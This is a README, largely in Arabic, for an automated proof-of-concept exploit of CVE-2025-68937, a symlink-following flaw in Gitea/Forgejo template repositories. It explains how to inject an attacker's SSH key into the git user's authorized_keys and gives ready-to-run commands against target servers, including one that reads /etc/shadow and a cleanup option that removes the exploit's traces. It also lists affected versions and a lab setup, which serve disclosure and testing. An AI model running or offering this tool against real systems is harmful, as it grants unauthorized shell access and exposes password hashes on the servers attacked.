
Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.
إثبات مفهوم آلي لـ CVE-2025-68937: تجاوز الدلائل عبر تتبع الروابط الرمزية في معالجة مستودعات القوالب في Gitea وForgejo، مما يؤدي إلى تنفيذ أكواد عن بُعد.
أي مستخدم مُصادَق عليه (بدون الحاجة إلى صلاحيات المسؤول) يمكنه الحصول على شل (shell) كمستخدم خدمة git.
عند إنشاء مستودع جديد من قالب، يقوم Gitea/Forgejo بنسخ ملفات القالب وتوسيع متغيرات مثل ${REPO_DESCRIPTION} في الملفات المدرجة في .gitea/template. هذه العملية تتبع الروابط الرمزية دون تحقق، مما يسمح للمهاجم بالقراءة والكتابة إلى ملفات عشوائية على الخادم.
| التفاصيل | القيمة |
|---|---|
| CVE | CVE-2025-68937 |
| CVSS 4.0 | 9.5 حرجة |
| CWE | CWE-61 (UNIX Symbolic Link Following) |
| المصادقة مطلوبة | نعم (أي مستخدم) |
| صلاحيات المسؤول مطلوبة | لا |
| البرنامج | الإصدارات المتأثرة | الإصدار المُصلَح |
|---|---|---|
| Gitea | >= 1.11.0-rc1, <= 1.24.6 | 1.24.7 |
| Forgejo | <= 11.0.6 | 11.0.7 |
| Forgejo | >= 12.0.0, <= 13.0.1 | 13.0.2 |
Gitea Server
+---------------------+
1. Register SSH | authorized_keys: |
key with | command="gitea |
${REPO_DESC} | serv..." ssh-ed... |
as comment | ${REPO_DESCRIPTION}|
+---------------------+
|
2. Template repo | symlink
authorized_keys --------->+ follows
-> /data/git/.ssh/ |
authorized_keys |
v
3. Create child +---------------------+
repo with | authorized_keys: |
attacker key | command="gitea |
in description | serv..." ssh-ed... |
| <attacker SSH key> | <-- injected!
+---------------------+
|
4. SSH as git $ ssh -i key git@host
(unrestricted) uid=0(git) ...
${REPO_DESCRIPTION}، وهو متغير قالب يقوم Gitea بتوسيعه.gitea/template يسرد authorized_keys لتوسيع المتغيراتauthorized_keys يشير إلى ملف authorized_keys الحقيقي لمستخدم gitauthorized_keys الحقيقي (الذي يحتوي على مفتاحنا المسجّل مع ${REPO_DESCRIPTION} في التعليق)، ويوسّع المتغير إلى وصف المستودع الفرعي (مفتاح SSH الخاص بنا)، ويكتب النتيجة مرة أخرى عبر الرابط الرمزيgit باستخدام المفتاح المُحقن (بدون قيد command=)pip install requests
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222
# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git
# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"
# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup
شغّل نسخة ضعيفة:
docker run -d --name gitea-vuln \
-p 3000:3000 -p 2222:22 \
-e USER_UID=1000 -e USER_GID=1000 \
gitea/gitea:1.24.6
http://localhost:3000 وأكمل معالج التثبيت (SQLite يعمل بشكل جيد)python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222
requestsgit و ssh-keygen في PATHهذه الأداة مخصصة لاختبار الاختراق المصرح به والأغراض التعليمية فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
| الخيار | الافتراضي | الوصف |
|---|
-u, --url | مطلوب | رابط Gitea/Forgejo الأساسي |
-U, --user | مطلوب | اسم المستخدم |
-P, --password | مطلوب | كلمة المرور |
--git-home | /data/git | دليل المستخدم git الرئيسي على الهدف |
--ssh-host | من --url | مضيف SSH للاتصال به |
--ssh-port | 22 | منفذ SSH الخاص بـ Gitea |
--timeout | 30 | الثواني المنتظرة لاتصال SSH |
--command | تفاعلي | الأمر الذي سيتم تنفيذه بعد الحصول على الشل |
--cleanup | - | إزالة آثار الاستغلال |